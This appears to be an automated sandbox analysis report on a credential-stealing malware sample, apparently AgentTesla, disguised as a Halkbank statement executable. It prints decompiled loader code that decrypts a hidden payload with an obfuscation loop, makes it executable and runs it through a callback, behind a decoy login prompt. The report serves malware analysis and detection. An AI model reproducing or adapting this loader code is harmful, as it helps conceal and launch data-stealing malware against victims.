Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Halkbank_Ekstre_20210113_162325_384771.exe PID: 4684 Parent PID: 5632 Halkbank_Ekstre_20210113_162325_384771.exeCOMMON

Executed Functions

Function 00EC1040, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 187
librarymemoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00EC1040(void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed int _v5;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				long _v48;
				void* _v1048;
				void* _v7712;
				void* __ebp;
				void* _t134;
				void* _t135;
				void* _t176;
				void* _t177;
				void* _t178;
				void* _t179;
				void* _t180;
				void* _t184;

				_t184 = __fp0;
				_t177 = __esi;
				_t176 = __edi;
				_t135 = __ecx;
				E00EC8770(0x1e1c);
				_v16 = GetModuleHandleW(L"Kernel32.dll");
				E00EC6B80(_t135); // executed
				_v44 = E00EC6A70(_v16, 0xb616c5d9);
				_v40 = E00EC6A70(_v16, 0xe0baa99);
				_v32 = E00EC6A70(LoadLibraryW(L"User32.dll"), 0x23fdef72);
				_v24 = E00EC6A70(LoadLibraryW(L"User32.dll"), 0x695c9378);
				_v36 = E00EC6A70(_v16, 0x9347c911);
				_v28 = _v36(0, L"IEUCIZEO", 0xa);
				_v20 = _v40(0, _v28);
				E00EC7AE0( &_v7712, _v20, 0x1a05);
				_t180 = _t179 + 0xc;
				_v12 = 0;
				while(_v12 < 0x1a05) {
					_v5 =  *((intOrPtr*)(_t178 + _v12 - 0x1e1c));
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = _v5 & 0x000000ff ^ _v12;
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 = _v5 & 0x000000ff ^ 0x00000037;
					_v5 = (_v5 & 0x000000ff) - _v12;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) + _v12;
					_v5 = _v5 & 0x000000ff ^ 0x0000004d;
					_v5 =  ~(_v5 & 0x000000ff);
					_v5 = (_v5 & 0x000000ff) - 0x8d;
					_v5 = _v5 & 0x000000ff ^ 0x00000045;
					_v5 =  !(_v5 & 0x000000ff);
					_v5 = _v5 & 0x000000ff ^ 0x00000033;
					_v5 = (_v5 & 0x000000ff) - 0xa9;
					_v5 = _v5 & 0x000000ff ^ _v12;
					 *((char*)(_t178 + _v12 - 0x1e1c)) = _v5;
					_v12 = _v12 + 1;
				}
				VirtualProtect( &_v7712, 0x1a05, 0x40,  &_v48);
				GrayStringW(_v24(0), 0, 0,  &_v7712,  &_v1048, 0, 0, 0, 0);
				E00EC21E0( &_v7712, _t176, _t177, __eflags);
				while(1) {
					E00EC1380(_t176, _t177, __eflags, 8, 9, 0x46, 0xd);
					E00EC12B0(0xa, 0xb);
					_push("Press A to Log in as ADMINISTRATOR or S to log in as STAFF\n\n\n\t\t\t\t\t");
					E00EC715C(_t134, _t176, _t177, __eflags);
					_t180 = _t180 + 4;
					__eflags = (_v5 & 0x000000ff) - 0x41;
					if((_v5 & 0x000000ff) == 0x41) {
						break;
					}
					__eflags = (_v5 & 0x000000ff) - 0x61;
					if((_v5 & 0x000000ff) != 0x61) {
						__eflags = (_v5 & 0x000000ff) - 0x53;
						if((_v5 & 0x000000ff) == 0x53) {
							L10:
							E00EC3610(_t134, _t176, _t177, _t184);
						} else {
							__eflags = (_v5 & 0x000000ff) - 0x73;
							if((_v5 & 0x000000ff) != 0x73) {
								__eflags = (_v5 & 0x000000ff) - 0x1b;
								if((_v5 & 0x000000ff) == 0x1b) {
									E00EC77B1(0);
								}
								__eflags = 1;
								if(1 != 0) {
									continue;
								}
							} else {
								goto L10;
							}
						}
					} else {
						break;
					}
					L14:
					__eflags = 0;
					return 0;
				}
				E00EC22F0(_t176, _t177, _t184);
				goto L14;
			}

0x00ec1040
0x00ec1040
0x00ec1040
0x00ec1040
0x00ec1048
0x00ec1058
0x00ec105b
0x00ec106e
0x00ec107f
0x00ec1098
0x00ec10b1
0x00ec10c2
0x00ec10d1
0x00ec10dd
0x00ec10f0
0x00ec10f5
0x00ec10f8
0x00ec110a
0x00ec1121
0x00ec112a
0x00ec1133
0x00ec113d
0x00ec1147
0x00ec1150
0x00ec1159
0x00ec1162
0x00ec116c
0x00ec1176
0x00ec1180
0x00ec1189
0x00ec1193
0x00ec119d
0x00ec11a6
0x00ec11b3
0x00ec11bd
0x00ec11c6
0x00ec11d0
0x00ec11dc
0x00ec11e6
0x00ec11ef
0x00ec1107
0x00ec1107
0x00ec120d
0x00ec1230
0x00ec1233
0x00ec1238
0x00ec1240
0x00ec1249
0x00ec124e
0x00ec1253
0x00ec1258
0x00ec125f
0x00ec1262
0x00000000
0x00000000
0x00ec1268
0x00ec126b
0x00ec1278
0x00ec127b
0x00ec1286
0x00ec1286
0x00ec127d
0x00ec1281
0x00ec1284
0x00ec1291
0x00ec1294
0x00ec1298
0x00ec1298
0x00ec12a2
0x00ec12a4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ec1284
0x00000000
0x00000000
0x00000000
0x00ec12a6
0x00ec12a6
0x00ec12ab
0x00ec12ab
0x00ec126d
0x00000000

APIs

GetModuleHandleW.KERNEL32(Kernel32.dll,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC1052

Part of subcall function 00EC6B80: GetProcessHeap.KERNEL32(00000001,17D78400,00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B8C
Part of subcall function 00EC6B80: RtlAllocateHeap.NTDLL(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B93
Part of subcall function 00EC6B80: GetProcessHeap.KERNEL32(00000001,00000000,00000000,17D78400,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BCD
Part of subcall function 00EC6B80: HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BD4

LoadLibraryW.KERNEL32(User32.dll,23FDEF72,?,0E0BAA99,?,B616C5D9,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC108C
LoadLibraryW.KERNEL32(User32.dll,695C9378,00000000,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC10A5
_memmove.LIBCMT ref: 00EC10F0
VirtualProtect.KERNELBASE(?,00001A05,00000040,?), ref: 00EC120D
GrayStringW.USER32(00000000), ref: 00EC1230
_wprintf.LIBCMT ref: 00EC1253

Strings

User32.dll, xrefs: 00EC10A0
Press A to Log in as ADMINISTRATOR or S to log in as STAFF, xrefs: 00EC124E
IEUCIZEO, xrefs: 00EC10C7
Kernel32.dll, xrefs: 00EC104D
User32.dll, xrefs: 00EC1087

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$LibraryLoadProcess$AllocAllocateGrayHandleModuleProtectStringVirtual_memmove_wprintf
String ID: IEUCIZEO$Kernel32.dll$Press A to Log in as ADMINISTRATOR or S to log in as STAFF$User32.dll$User32.dll
API String ID: 1383926253-1224953502
Opcode ID: e2a75a9d00c4f64a439700d9f99f7ef4e671cb7764982d6d6bb52031f3991d65
Instruction ID: a95e6c06cf1c20933ee41972926312dc8065c1d92a7f9ec3675b0523b6eb8c7b
Opcode Fuzzy Hash: e2a75a9d00c4f64a439700d9f99f7ef4e671cb7764982d6d6bb52031f3991d65
Instruction Fuzzy Hash: 4B716E74D4C3D8BADB01DBF58951BFDBFB09F1A301F0880CAE591B6282D676474A9B21

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6B80, Relevance: 6.0, APIs: 4, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00EC6B80(void* __ecx) {
				void* _v8;
				void* _t5;
				void* _t7;
				void* _t14;

				_t14 = __ecx;
				_push(__ecx);
				_t5 = RtlAllocateHeap(GetProcessHeap(), 1, 0x17d78400); // executed
				_v8 = _t5;
				_push(_t5);
				if(_t5 != 0x11) {
					asm("cld");
				}
				asm("clc");
				_pop(_t7);
				if(_v8 != 0) {
					E00EC6C50(_t14, _v8, 0x17d78400);
					_push(_t11);
					asm("cld");
					_t7 = HeapAlloc(GetProcessHeap(), 1, 0);
				}
				return _t7;
			}

0x00ec6b80
0x00ec6b83
0x00ec6b93
0x00ec6b99
0x00ec6b9c
0x00ec6ba0
0x00ec6ba4
0x00ec6ba5
0x00ec6ba9
0x00ec6baa
0x00ec6baf
0x00ec6bbd
0x00ec6bc2
0x00ec6bc7
0x00ec6bd4
0x00ec6bd4
0x00ec6bde

APIs

GetProcessHeap.KERNEL32(00000001,17D78400,00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B8C
RtlAllocateHeap.NTDLL(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6B93
GetProcessHeap.KERNEL32(00000001,00000000,00000000,17D78400,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BCD
HeapAlloc.KERNEL32(00000000,?,?,00EC1060,?,00EC89A2,00EC0000,00000000,00000000), ref: 00EC6BD4

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocAllocate
String ID:
API String ID: 1154092256-0
Opcode ID: 981753f5aee72b3e58312dc366cc1935cb2201d369aa77fce545f371abaa4097
Instruction ID: caf37b5ce488540854a8b13f705b84e99147e02849c9ed99d05dc2c8c29d24a0
Opcode Fuzzy Hash: 981753f5aee72b3e58312dc366cc1935cb2201d369aa77fce545f371abaa4097
Instruction Fuzzy Hash: 7DF0E271542218BFE70067B5BE0EFABB39CE704709F204549F545E3250C9725E098660

Uniqueness

Uniqueness Score: -1.00%

Function 00EC88A7, Relevance: 16.6, APIs: 11, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 91%

			_entry_(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t17;
				intOrPtr _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				signed int _t38;
				void* _t40;
				void* _t46;
				signed int _t49;
				void* _t51;
				void* _t53;
				void* _t60;

				_t60 = __fp0;
				_t47 = __edi;
				_t46 = __edx;
				E00ECFC48();
				_push(0x14);
				_push(0xedd838);
				E00EC9160(__ebx, __edi, __esi);
				_t49 = E00ECC013() & 0x0000ffff;
				E00ECFBFB(2);
				_t53 =  *0xec0000 - 0x5a4d; // 0x5a4d
				if(_t53 == 0) {
					_t17 =  *0xec003c; // 0xf0
					__eflags =  *((intOrPtr*)(_t17 + 0xec0000)) - 0x4550;
					if( *((intOrPtr*)(_t17 + 0xec0000)) != 0x4550) {
						goto L2;
					} else {
						__eflags =  *((intOrPtr*)(_t17 + 0xec0018)) - 0x10b;
						if( *((intOrPtr*)(_t17 + 0xec0018)) != 0x10b) {
							goto L2;
						} else {
							_t38 = 0;
							__eflags =  *((intOrPtr*)(_t17 + 0xec0074)) - 0xe;
							if( *((intOrPtr*)(_t17 + 0xec0074)) > 0xe) {
								__eflags =  *(_t17 + 0xec00e8);
								_t6 =  *(_t17 + 0xec00e8) != 0;
								__eflags = _t6;
								_t38 = 0 | _t6;
							}
						}
					}
				} else {
					L2:
					_t38 = 0;
				}
				 *(_t51 - 0x1c) = _t38;
				if(E00ECD058() == 0) {
					E00EC89F5(0x1c);
				}
				if(E00ECD6D2(_t38, _t47) == 0) {
					_t19 = E00EC89F5(0x10);
				}
				E00ECBE1F(_t19);
				 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
				E00ECA5C3();
				 *0xee4080 = GetCommandLineA(); // executed
				_t23 = E00ECFCE2(); // executed
				 *0xee2284 = _t23;
				_t24 = E00ECF8ED();
				_t56 = _t24;
				if(_t24 < 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t56, 8);
				}
				_t25 = E00ECFB1A(_t38, _t46, _t47, _t49);
				_t57 = _t25;
				if(_t25 < 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t57, 9);
				}
				_t26 = E00EC7559(_t47, _t49, 1);
				_pop(_t40);
				_t58 = _t26;
				if(_t26 != 0) {
					E00EC751F(_t38, _t46, _t47, _t49, _t58, _t26);
					_pop(_t40);
				}
				_t28 = E00EC1040(_t40, _t47, _t49, _t58, _t60, 0xec0000, 0, E00ECFD6D(), _t49); // executed
				_t50 = _t28;
				 *((intOrPtr*)(_t51 - 0x24)) = _t28;
				if(_t38 == 0) {
					E00EC77B1(_t50);
				}
				E00EC754A();
				 *(_t51 - 4) = 0xfffffffe;
				return E00EC91A5(_t50);
			}

0x00ec88a7
0x00ec88a7
0x00ec88a7
0x00ec88a7
0x00ec88b1
0x00ec88b3
0x00ec88b8
0x00ec88c2
0x00ec88c7
0x00ec88d2
0x00ec88d9
0x00ec88df
0x00ec88e4
0x00ec88ee
0x00000000
0x00ec88f0
0x00ec88f5
0x00ec88fc
0x00000000
0x00ec88fe
0x00ec88fe
0x00ec8900
0x00ec8907
0x00ec8909
0x00ec890f
0x00ec890f
0x00ec890f
0x00ec890f
0x00ec8907
0x00ec88fc
0x00ec88db
0x00ec88db
0x00ec88db
0x00ec88db
0x00ec8912
0x00ec891c
0x00ec8920
0x00ec8925
0x00ec892d
0x00ec8931
0x00ec8936
0x00ec8937
0x00ec893c
0x00ec8940
0x00ec894b
0x00ec8950
0x00ec8955
0x00ec895a
0x00ec895f
0x00ec8961
0x00ec8965
0x00ec896a
0x00ec896b
0x00ec8970
0x00ec8972
0x00ec8976
0x00ec897b
0x00ec897e
0x00ec8983
0x00ec8984
0x00ec8986
0x00ec8989
0x00ec898e
0x00ec898e
0x00ec899d
0x00ec89a2
0x00ec89a4
0x00ec89a9
0x00ec89ac
0x00ec89ac
0x00ec89b1
0x00ec89e6
0x00ec89f4

APIs

___security_init_cookie.LIBCMT ref: 00EC88A7

Part of subcall function 00ECC013: GetStartupInfoW.KERNEL32(?), ref: 00ECC01D

_fast_error_exit.LIBCMT ref: 00EC8920
_fast_error_exit.LIBCMT ref: 00EC8931
__RTC_Initialize.LIBCMT ref: 00EC8937
__ioinit0.LIBCMT ref: 00EC8940
GetCommandLineA.KERNEL32(00EDD838,00000014), ref: 00EC8945
___crtGetEnvironmentStringsA.LIBCMT ref: 00EC8950
__setargv.LIBCMT ref: 00EC895A
__setenvp.LIBCMT ref: 00EC896B
__cinit.LIBCMT ref: 00EC897E
__wincmdln.LIBCMT ref: 00EC898F

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _fast_error_exit$CommandEnvironmentInfoInitializeLineStartupStrings___crt___security_init_cookie__cinit__ioinit0__setargv__setenvp__wincmdln
String ID:
API String ID: 1504447550-0
Opcode ID: b260ec8d55def1780fac85096475b42d2e7d45730b2e2eadd1ddca20412496da
Instruction ID: bf9d21e81082bd220036f899b8f118e2a4d9cccdf73f92505068c166adaf78d6
Opcode Fuzzy Hash: b260ec8d55def1780fac85096475b42d2e7d45730b2e2eadd1ddca20412496da
Instruction Fuzzy Hash: 8D21F431A043059AEB247BB49B47F7D22E4AF40709F20342EF648BA0C3DFB789439652

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00ECC0A3, Relevance: 3.0, APIs: 2, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ECC0A3(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x00ecc0a8
0x00ecc0b8

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00EC8B1A,?,?,?,00000000), ref: 00ECC0A8
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 00ECC0B1

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 99453bfcd441810a3bf6ff4016fa4b506cf0d22684b178808e7493ad37a9c6a8
Instruction ID: c86eb9248cdae1c27c6a0bb84bf089ba94220dcd3a5fb81f8cc10c3b055dafc1
Opcode Fuzzy Hash: 99453bfcd441810a3bf6ff4016fa4b506cf0d22684b178808e7493ad37a9c6a8
Instruction Fuzzy Hash: 4FB09231046209FFDB002B92FD0AB597F28EB04652F008012F60D54061DF7258198AA5

Uniqueness

Uniqueness Score: -1.00%

Function 00ECD929, Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525eb91eb9e93a735d25be187b858e80d0d6947b99cd1d7798152f911bab8b1a
Instruction ID: d93fdce329e0fcbf3f0c28c6f539929a59b195172ced77e7da0c3610d9b65317
Opcode Fuzzy Hash: 525eb91eb9e93a735d25be187b858e80d0d6947b99cd1d7798152f911bab8b1a
Instruction Fuzzy Hash: E732E521D2AF464DD7239635DD223356349EFB73C4F25E73BE81AB5EA5EB2A84834100

Uniqueness

Uniqueness Score: -1.00%

Function 00ECC080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ECC080(_Unknown_base(*)()* _a4) {

				return SetUnhandledExceptionFilter(_a4);
			}

0x00ecc08d

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00ECF78E,00ECF743,?,00000000,00000000,00000000,00000000), ref: 00ECC086

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: cacae8a9963ff8145339d8f92194f27930201abc66356fe2e11aae384532ce29
Instruction ID: 99a560fd3fef64f1982e3a7ab55e53c0a8612e41fbb156157ea9d0b82ce42998
Opcode Fuzzy Hash: cacae8a9963ff8145339d8f92194f27930201abc66356fe2e11aae384532ce29
Instruction Fuzzy Hash: 83A0113000220CAB8B002B82FC088883F2CEB002A0B000022F80C000208B22A82A8A80

Uniqueness

Uniqueness Score: -1.00%

Function 00CFF225, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253327316.0000000000CFD000.00000040.00000001.sdmp, Offset: 00CFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 528a4f16991854913c462da7ad73e791a05de82d13dc41471258f931d0ebd2d2
Instruction ID: 7e8eece88ce956e3ef4b1cb3c68389c7dc98ebdcfd2b7e2430950a3a9cba436c
Opcode Fuzzy Hash: 528a4f16991854913c462da7ad73e791a05de82d13dc41471258f931d0ebd2d2
Instruction Fuzzy Hash: 6CE01236264508EFC744CBA8CD45D65B3E8EF59320B144294FD29C73A1E634FE00DA51

Uniqueness

Uniqueness Score: -1.00%

Function 00CFF262, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253327316.0000000000CFD000.00000040.00000001.sdmp, Offset: 00CFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff5f89fbc0ecb4e9f42a23ab0e6ea761649b2aca3cc7db53e6fbbfb3471062a8
Instruction ID: dc2eb94834ab669b5344c43ccc28dc626589b6c3e2251742ab3db6cf5373a904
Opcode Fuzzy Hash: ff5f89fbc0ecb4e9f42a23ab0e6ea761649b2aca3cc7db53e6fbbfb3471062a8
Instruction Fuzzy Hash: A7E086372105189BC7B19B9AC800DA3F7E8EF987B0709483AEE5997620C230FD01D791

Uniqueness

Uniqueness Score: -1.00%

Function 00EC6A00, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC6A00() {

				return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)))))) + 0x18));
			}

0x00ec6a17

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80

Uniqueness

Uniqueness Score: -1.00%

Function 00CFF2C5, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253327316.0000000000CFD000.00000040.00000001.sdmp, Offset: 00CFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00CFE9B6, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253327316.0000000000CFD000.00000040.00000001.sdmp, Offset: 00CFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7398b6239bf8858e3d1776f2ebb5b6e80944bbaad592eaf912553e7d93e1029a
Instruction ID: 499769130bf540e81d29d87199b21b586b51bcdabfa8c54cfdb594e40f3bced7
Opcode Fuzzy Hash: 7398b6239bf8858e3d1776f2ebb5b6e80944bbaad592eaf912553e7d93e1029a
Instruction Fuzzy Hash: 35B012726154C44EEB92C338C415B5276F0A741F01FC984F0F005C2C91C39CCF84D500

Uniqueness

Uniqueness Score: -1.00%

Function 00CFF40D, Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253327316.0000000000CFD000.00000040.00000001.sdmp, Offset: 00CFD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f377ddc5f06dfc3153ea0c28b0a1464ef23ffe7e410e0425465c082cb6f6e04
Instruction ID: cb197d2559c09660318d3d12e6cb9f80cf1b08a2d0c32daa4285e7c7a95ab15a
Opcode Fuzzy Hash: 3f377ddc5f06dfc3153ea0c28b0a1464ef23ffe7e410e0425465c082cb6f6e04
Instruction Fuzzy Hash: ECA00179152A809BD7128B55D558B9476A4B748A44F9544A4D40546A51827C5504CE04

Uniqueness

Uniqueness Score: -1.00%

Function 00EC3610, Relevance: 91.3, APIs: 27, Strings: 25, Instructions: 313
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00EC3610(void* __ebx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v36;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v67;
				char _v68;
				char _v80;
				char _v92;
				char _v124;
				char _v156;
				void* __ebp;
				intOrPtr _t58;
				intOrPtr _t60;
				void* _t61;
				void* _t98;
				void* _t99;
				void* _t108;
				intOrPtr _t111;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t131;
				void* _t139;
				void* _t148;

				_t148 = __fp0;
				_t122 = __esi;
				_t121 = __edi;
				_t108 = __ebx;
				_v68 = 0;
				_v67 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v12 = 0;
				_v20 = 0;
				_v20 = 0;
				do {
					E00EC1380(_t121, _t122, 0, 0xa, 8, 0x46, 0xf);
					E00EC12B0(7, 5);
					_push("Only THREE attempts shall be allowed to enter username and password.");
					E00EC715C(_t108, _t121, _t122, 0);
					E00EC12B0(0x17, 0xa);
					_push("Enter User name : ");
					E00EC715C(_t108, _t121, _t122, 0);
					E00EC738B("%s", 0xee2ee4);
					E00EC12B0(0x17, 0xc);
					_push("Password        : ");
